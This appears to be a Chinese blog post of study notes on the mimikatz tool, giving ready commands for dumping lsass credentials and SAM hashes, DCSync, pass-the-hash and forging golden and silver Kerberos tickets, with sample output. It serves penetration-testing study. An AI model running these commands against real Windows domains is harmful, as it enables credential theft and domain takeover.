2

mimikatz的使用 | Dar1in9's Blog

 1 year ago
source link: https://dar1in9s.github.io/2023/04/30/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/mimikatz/#process
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Dar1in9's Blog

mimikatz非常出名,在域渗透中也用得很多,这里来系统学习一下。

从lsass的内存中提取明文密码

shell
"log" "privilege::debug" "sekurlsa::logonpasswords" "exit"

dump SAM数据库

shell
# 在线,可以使用token::whoami 来模拟系统令牌
"privilege::debug" "token::elevate" "lsadump::sam" "exit"

# 离线
# 先备份SYSTEM和SAM数据库
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

"lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv" "exit"

查看ntds.dit与sam文件的信息,如果没有查看ntds.dit的就只查看sam

shell
"privilege::debug" "lsadump::lsa /patch" "exit"

dcsync同步域控账户数据

shell
# 列出指定用户的密码信息
"lsadump::dcsync /domain:hackme.com /user:administrator" "exit"

# 列出所有用户的账户密码
"lsadump::dcsync /domain:hackme.com /all /csv" "exit"

哈希传递

shell
"sekurlsa::pth /user:Administrateur /domain:hackme.com /ntlm:cc36cf7a8514893efccd332446158b1a"

制作黄金票据并导入

shell
# 需要以下信息:域名、域sid、krbtgt哈希值,伪造的用户
whoami /user # 获取域的sid值(去掉最后的-500,500表示为administrator用户)
net config workstation # 查看所处域

# 利用mimikatz生成黄金票据,并导入
"kerberos::purge" "kerberos::golden /user:Administrator /domain:hackme.com /sid:S-1-5-21-352500431-3709684021-2404362605 /krbtgt:46ff2921e1cbc03aa37acf91b8afe9df /ticket:golden.kirbi" "kerberos::ptt golden.kirbi"

制作白银票据并导入

shell
# 所需条件:域名、域sid、目标服务器名、可利用的服务、服务账号的NTML HASH 、需要伪造的用户名

# 伪造共享文件夹服务(cifs)权限
kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:cifs /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt
# 访问共享文件服务
dir \\dc\c$


#伪造LDAP服务权限
如果已经获取DC机器账户的哈希值,便可以使用银票访问其LDAP服务,执行mimikatz的DCSync,以获取krbtgt用户的hash,进而制作黄金票据
# 制作票据并导入
kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:ldap /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt
# 执行dcsync
lsadump::dcsync /domain:hackme.com /user:krbtgt

mimikatz的各个模块

mimikatz分为以下模块:

shell
standard        # mimikatz的主要模块,它包含使用该工具进行操作的快速命令。
# Commands: exit, cls, answer, coffe, sleep, log, base64, version, cd

privilege # 提供了一些命令来操作 mimikatz 进程的权限
# Commands: debug

crypto # 加密相关模块
# Commands: providers, stores, sc, scauth, certificates, keys, capi, cng

sekurlsa # 该模块从lsass的内存中提取密码,密钥,密码,票证
# Commands: logonpasswords, pth, tickets, ekeys, dpapi, minidump, process, searchpasswords
# msv, wdigest, kerberos, tspkg, livessp, ssp, credman

kerberos # kerberos票据相关
# Commands: ptt, golden / silver, list, tgt, purge

lsadump # 用于与Windows本地安全验证(Windows Local Security Authority, LSA)进程进行交互来提取凭证数据
# Commands: sam, secrets, cache, lsa, trust, backupkeys, rpdata, dcsync, netsync

vault # Windows证书模块
# Commands: list, cred

token # 令牌操作模块
# Commands: whoami, list, elevate, revert

event # 事件模块
# Commands: drop, clear

ts # 终端服务器模块
# Commands: multirdp

process # 进程相关模
# Commands: list, exports, imports, start, stop, suspend, resume

service # 服务相关模块
# Commands: start, remove, stop, suspend, resume, preshutdown, shutdown, list

net #
# Commands: user, localgroup, group

misc # 杂项模块
# Commands: cmd, regedit, taskmgr, ncroutemon, detours, wifi, addsid, memssp, skeleton

常使用模块

standard

这是mimikatz的主要模块,它包含使用该工具进行操作的快速命令。对于standard模块,不需要用模块名称作为命令的前缀,例如:exitstandard::exit相同。

Commands: exit, cls, answer, coffe, sleep, log, base64, version, cd

**log**:将所有输出记录到文件(默认情况下为mimikatz.log

  • filename - 可选,指定日志文件
  • /stop - 可选,停止日志
shell
mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # log other.log
Using 'other.log' for logfile : OK

mimikatz # log /stop
Using '(null)' for logfile : OK

**base64**:对写入磁盘上的文件,形式切换为Base64

**cd**:更改或显示当前目录

shell
mimikatz # cd
C:\security\mimikatz\mimikatz

mimikatz # cd x:\vm
Old: C:\security\mimikatz\mimikatz
New: x:\vm

privilege

**debug**:请求 mimikatz 进程的调试权限。调试权限允许用户调试他们原本无法访问的进程。

shell
mimikatz # privilege::debug
Privilege '20' OK

sekurlsa

该模块从lsass的内存中提取密码,密钥,密码,票证

Commands: logonpasswords, pth, tickets, ekeys, dpapi, minidump, process, searchpasswords, msv, wdigest, kerberos, tspkg, livessp, ssp, credman

在使用lsass进程时,mimikatz需要特定的权限:

  • Administrator用户,可以通过privilege::debug获取debug权限
  • SYSTEM账户,此时可以不需要debug权限

**logonpasswords**:获登录用户信息及密码

**pth**:哈希传递
mimikatz 可以执行“传递哈希”,使用用户密码的 NTLM 哈希运行进程。

shell
# 参数
/user # 要模拟的用户名。
/domain # 完全限定的域名。没有域,或者对于本地用户/管理员,请使用计算机或服务器名称.
/rc4 or /ntlm # 可选 - 密码的RC4值/NTLM hash.
/aes128 # 可选,the AES128 key derived from the user's password and the realm of the domain.
/aes256 # 可选,the AES256 key derived from the user's password and the realm of the domain.
/run # 可选,要运行的命令行,默认值为:cmd
plaintext
mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user : Administrateur
domain : chocolate.local
program : cmd.exe
NTLM : cc36cf7a8514893efccd332446158b1a
| PID 712
| TID 300
| LUID 0 ; 362544 (00000000:00058830)
\_ msv1_0 - data copy @ 000F8AF4 : OK !
\_ kerberos - data copy @ 000E23B8
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ des_cbc_md5 -> null
\_ des_cbc_crc -> null
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace -> null

注意: 需要提升权限(privilege::debug或SYSTEM帐户)

**tickets**:列出并导出所有会话的 Kerberos 票据。

kerberos::list不同,sekurlsa使用内存读取,不受密钥导出限制。sekurlsa可以访问其他会话(用户)的票据。

shell
# 参数
/export # 可选,将票据导出到.kirbi文件中,They start with user's LUID and group number (0 = TGS, 1 = client ticket(?) and 2 = TGT)

**ekeys**:显示 Kerberos 加密密钥。
**dpapi**:显示内存中的 MasterKeys

**minidump**:读取已经dump的内存信息

plaintext
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 88038 (00000000:000157e6)
Session : Interactive from 1
User Name : Gentil Kiwi
Domain : vm-w7-ult
SID : S-1-5-21-2044528444-627255920-3055224092-1000
msv :
[00000003] Primary
* Username : Gentil Kiwi
* Domain : vm-w7-ult
* LM : d0e9aee149655a6075e4540af1f22d3b
* NTLM : cc36cf7a8514893efccd332446158b1a
* SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
...

kerberos

kerberos模块无需任何权限即可使用,它使用官方的Microsoft Kerberos API。

Commands: ptt, golden/silver, list, tgt, purge

**ptt**:票据传递,在当前会话中注入一个或多个 Kerberos 票据

shell
# 参数
filename # 票据文件名,可以是多个
diretory # 票据所在文件夹,该文件夹下所有的 .kirbi 文件都会被注入

**golden/silver**:为任何用户/用户组创建 Kerberos 票证、TGT 或具有任意数据的 TGS

shell
# 参数

## common
/domain # 完全限定的域名 (eg: chocolate.local).
/sid # 域名的SID (eg: S-1-5-21-130452501-2365100805-3685010670).
/user # 要模拟的用户名.
/id # 可选,the id of the user,default is: 500 for the well-known Administrator.
/groups # 可选,id of groups the user belongs (first is primary group, comma separator) - default is: 513,512,520,518,519 for the well-known Administrator's groups.

## key
# 对于黄金票据,需要krbtgt账户的hash;
# 对于白银票据, 需要机器账户或者服务账户的票据("computer account" or "service account")
/rc4 or /krbtgt # the NTLM hash
/aes128 # the AES128 key
/aes256 #the AES256 key‘


## 白银票据的Target & Service
/target # the server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, ...)
/service # The service name for the ticket (ex: cifs, rpcss, http, mssql, ...)

## 生成票据的下一步
/ticket # optional - filename for output the ticket - default is: ticket.kirbi.
/ptt # no output in file, just inject the golden ticket in current session.

shell
# 生成黄金票据
kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:utilisateur.chocolate.kirbi

# 生成白银票据并导入
kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:cifs /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt

**tgt**:显示有关当前会话的 TGT 的信息

**list**:列出并导出当前会话的 Kerberos 票据(TGT 和 TGS)

shell
# 参数:
/export # 可选,将所有票证导出到文件

**purge**:清除当前会话的所有票证

lsadump

lsadump 模块用于与 Windows 本地安全验证(Windows Local Security Authority )(LSA) 进程进行交互来提取凭证数据。这个模块的大多数命令都需要 Debug 权限或者是 SYSTEM 权限。

Commands: sam, secrets, cache, lsa, trust, backupkeys, rpdata, dcsync, netsync

**sam**:dump SAM数据库,它包含用户密码的 NTLM。

它可以在两种模式下工作:

  • 在线,使用SYSTEM用户或令牌
  • 离线,使用系统和SAM配置单元或备份
shell
# 在线,可以使用token::whoami 来模拟系统令牌
privilege::debug
token::elevate
lsadump::sam

# 离线
# 先备份SYSTEM和SAM数据库
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

**lsa**:通过询问LSA服务器从内存中提取哈希

shell
# 参数:
/inject # 可选,注入 LSASS 进程提取凭证数据
/name # 可选,目标用户账户的帐户名称
/id # 可选,目标用户账户的 RID
/patch # 可选,补丁 LSASS 进程

**dcsync**:向 DC 发起同步一个对象(获取帐户的密码数据)的质询。

运行 DCSync 所要求的特殊权限有管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器计算机帐户的任何成员。需要注意的是只读域控制器默认是不允许读取用户密码数据的。

shell
# 参数:
/all # 获取所有用户
/user # 要拉取数据的用户
/domain # 可选,Active Directory域的全限定域名,Mimikatz会发现域中的一个DC并去连接。如果不提供该参数,Mimikatz会默认设置为当前域。
/dc # 可选,指定你想要使用DCSync连接并收集数据的域控制器。
/csv # 可选,以格式化形式显示

token

Token 模块能够与 Windows 身份验证令牌进行交互,包括抓取,伪造假冒的已存在的令牌

Commands: whoami, list, elevate, revert

**whoami**:显示当前身份
elevate :假冒令牌。用于提升权限至 SYSTEM 权限(默认)或者使用 Windows API 找到域管理员令牌

process

process 模块提供了收集进程的数据和与进程进行交互的功能

Commands: list, exports, imports, start, stop, suspend, resume

终端服务器模块

**sessions **:显示当前对话
**multirdp**:允许多个用户使用rdp


Recommend

  • 2
    • dar1in9s.github.io 2 years ago
    • Cache

    Dar1in9's Blog

    “内网渗透”这一整块的学习算是《内网安全攻防——渗透测试实战指南》的学习笔记。 第一部分先来学习一些基础的内网知识。 工作组和域工作组:将不同的计算机按功能或部门分成不同的组,便于访问。 ...

  • 4
    • dar1in9s.github.io 2 years ago
    • Cache

    常见中间件渗透 | Dar1in9's Blog

    这些中间件漏洞都很老了,但是面试容易考,还是记录一下把。 apache多后缀解析影响版本:apache 2.0.x <= 2.0.59、apache 2.2.x <= 2.2.17 解析文件的规则是从右到左开始判断解析,如果后缀...

  • 4
    • dar1in9s.github.io 2 years ago
    • Cache

    php常利用的函数 | Dar1in9's Blog

    这里总结了一些攻击php网站常用的函数 可以执行php代码的函数eval和assert eval其实是php中的语言结构,不是函数。assert在php7之后也成为了语言结构。 preg_replace

  • 5

    “内网渗透”这一整块的学习是《内网安全攻防——渗透测试实战指南》的学习笔记。 进入内网之后第一步就是要进行内网收集,通过收集目标内网的信息,洞察内网网络图谱结构,找出最薄弱的环节,从而突破内网。 收集本机信息...

  • 1

    内网渗透—Windows Powershell基础 2022-03-11|渗透字数总...

  • 3
    • dar1in9s.github.io 1 year ago
    • Cache

    内网渗透—基础知识 | Dar1in9's Blog

    “内网渗透”这一整块的学习算是《内网安全攻防——渗透测试实战指南》的学习笔记。 第一部分先来学习一些基础的内网知识。 工作组和域工作组:将不同的计算机按功能或部门分成不同的组,便于访问。

  • 6
    • dar1in9s.github.io 1 year ago
    • Cache

    linux 提权归纳 | Dar1in9's Blog

    这里归纳一些linux高可用/著名的提权方法 一些提权工具提权检测:https://github.com/carlospolop/PEASS-ng linux内核提权漏洞合集(只更新到20...

  • 3
    • dar1in9s.github.io 1 year ago
    • Cache

    linux主机信息收集 | Dar1in9's Blog

    linux信息收集 可以使用linux信息枚举脚本:https://github.com/rebootuser/LinEnum 系统和主机信息查询发布信息 shelllsb...

  • 5
    • dar1in9s.github.io 1 year ago
    • Cache

    sql注入bypass | Dar1in9's Blog

    Dar1in9's Blog平时遇到的sql注入基本上都会存在过滤,这里讲讲如何绕过,主要是一些关键字的功能替换。 sql中的注释 plaintext--+、 #、 %23、 -- -、 %00、 `、 //、 /* */

  • 3
    • dar1in9s.github.io 1 year ago
    • Cache

    PowerView的使用 | Dar1in9's Blog

    powerview是powershell脚本,提供了域内的一些操作的cmdlet,比较常用。 PowerSploit中的PowerViewPowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK